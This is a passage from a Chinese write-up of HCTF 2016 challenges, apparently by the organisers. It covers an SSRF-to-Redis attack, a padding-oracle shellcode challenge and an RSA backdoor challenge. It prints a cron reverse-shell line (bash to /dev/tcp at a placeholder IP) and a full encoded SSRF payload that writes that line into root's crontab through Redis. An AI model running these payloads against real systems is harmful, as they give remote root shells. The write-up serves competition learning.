/n*/1 * * * * /bin/bash -i >& /dev/tcp/这里是ip/端口 0>&1/n
事实上,漏洞成因和底层系统同样有关,这里必须是centos才能成功写入crontab并执行,这里我们追踪一份payload来看看实现。
payload :
http://www.115.28.78.16.xip.io/302.php?u=http%3A%2f%2f192.168.0.10%250d%250a%2a3%250d%250a%25243%250d%250aset%250d%250a%25241%250d%250a1%250d%250a%252462%250d%250a%250a%2a%252F1%2520%2a%2520%2a%2520%2a%2520%2a%2520%252Fbin%252Fbash%2520-i%2520%253E%2526%2520%252Fdev%252Ftcp%252F你的ip%252f12345%25200%253E%25261%250a%250d%250aconfig%2520set%2520dir%2520%252Fvar%252Fspool%252Fcron%252F%250d%250aconfig%2520set%2520dbfilename%2520root%250d%250asave%250d%250a%3A6379%2f
请求经过跳转,经过一次urldecode,
http://192.168.0.10%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2462%0d%0a%0a*%2F1%20*%20*%20*%20*%20%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F你的ip%2f12344%200%3E%261%0a%0d%0aconfig%20set%20dir%20%2Fvar%2Fspool%2Fcron%2F%0d%0aconfig%20set%20dbfilename%20root%0d%0asave%0d%0a:6379/
然后urldecode进入redis
注意这里在redis中,只有0d0a可以被当作换行符
我发现我们将数据设置为1,并储存进入**/var/spool/cron/root**,写入内容为
写入文件的内容是这样的,前后被插入了特殊的数据
事实上,在除centos以外系统上,redis是redis用户跑起来的,所以写的文件也是redis用户组,并没有权限写入cron文件夹,并且,在其他系统中,这个配置文件有较为严格的格式要求,如果存在奇怪的数据,会导致命令执行失败。
还有一个特别的问题,redis中储存数据为键值对形式,所以其实把内容写入2,就不会覆盖了,我们来看看测试
成功了,事实上,hint5也就是因此存在的,我们成功拿到了反弹的shell
[wp地址]( https://github.com/spineee/hctf2016_5-days/blob/master/5-days%20wp.pdf )
作为一位二进制选手,re,pwn,crypto都是自己的必修课23333
这一题的出现也是偶然。某一天在写一个根据密钥自解密代码运行的程序。而如果输入的密钥是错误的,程序就会直接退出。那个时候突然想到,如果我输入的某一个密钥。解密出来的代码正好是一段恶意的代码会怎么样?顺着这个思路就有了这一题
密码学部分其实也是正好听做web的队友讲起过的padding oracle攻击方式。在仔细的研究了这种攻击方式之后,发现这种攻击正好适合我设想的情况。
1.在不知道密钥的情况,通过密码学攻击还原出明文的内容,然后进行逆向,获得一半的flag
2.在不知道密钥的情况下,通过padding oracle来控制解密出来的内容是shellcode,从而获得系统权限。
PS:我还算很好心的,本来des打算用静态编译来着。而且因为自己失误,结果连符号都没有去掉
PS2:关于奇怪的main2.c。其实做题的时候,服务器端的代码是main2.c,而给选手的代码main.c。main2产生的理由有2个,一个是服务器上由于沙箱和一些环境原因,所以key文件和程序工作目录不是同一个,需要制定觉得路径。然而并不想因为绝对路径暴露服务器信息和对选手调试产生麻烦。
而服务器程序中的循环是因为根据本来的逻辑,如果填充校验不过应该直接退出。然而开启新线程开销很大,所以使用这种方法来减少开销,结合沙箱的自动重启机制。我相信没有什么选手在比赛中发现服务器上程序和自己拿到的不是同一个
题目: < https://github.com/Hcamael/ctf-library/tree/master/RSA3 >
payload:
- < https://github.com/Hcamael/ctf-library/blob/master/RSA3/rsa3_payload.py >
- < https://github.com/Hcamael/ctf-library/blob/master/RSA3/rsa3.sage >
出题时预测的分数在450分左右, 不过却没有能做出来, 我知道的几个队都是被上一题的脚本给坑了
本题思路来源: 基于有限域F(2^m)上椭圆曲线的RSA后门生成算法
流程图懒得画了, 上一题的后门算法看懂了, 这题去看代码也不难, 主要是通过`Diffie–Hellman key exchange`算法生成私钥作为种子生成伪随机数, 私钥很好求, 本题的难点跟上题一样同样在于`Coppersmith partial information attack`算法
上一题我故意改简单了, 已知p的前640比特, 所以可以很容易通过< https://github.com/Gao-Chuan/RSA-and-LLL-attacks >这个脚本恢复出完整的p
但是这题已知p的前576bit, github上的那个脚本就跑不出来了
这部分是出题时无意间挖出的坑, 因为我并不知道github上的这个脚本, 在我预想中能做出rsa2的基本都是能做出rsa3的
这题还有一个坑点
sage和python 用相同的seed生成的随机数不一样, 所以在payload中我使用了python生成随机数
比赛结束,很多小伙伴一直急着问我们官方writeup什么时候出,最近特别忙一直拖到现在才发,在此说一声抱歉。也感谢小伙伴们对我们Vidar-Team及HCTF的关注与支持,当我看到群里小伙伴们能这么说,感觉还是很欣慰的。
相信接下来,在大家的关心和支持下,在我们的不断努力下,Vidar-Team会越走越远,HCTF也会越来越精彩,最后再说声感谢~。
PS : 这次比赛单单Web题就收到470w+的请求,很多小伙伴比赛过程中开着扫描器乱扫,我一不留神就有一个队伍就扫了30w次,(没错,乱扫的IP都是被我ban的…比赛最后10个小时内我还Ban了一个C段的IP…..说完这句我就逃…),其实大部分题目都不用扫的,个别需要的我们也会注明的。乱扫也出不来flag反而会被ban,于彼与此都没好处……(^○^)
如有任何问题,欢迎联系我们。Email :public#vidar.club ( # 替换 @ )
*本文原创作者:sysorem,本文属FreeBuf原创奖励计划,未经许可禁止转载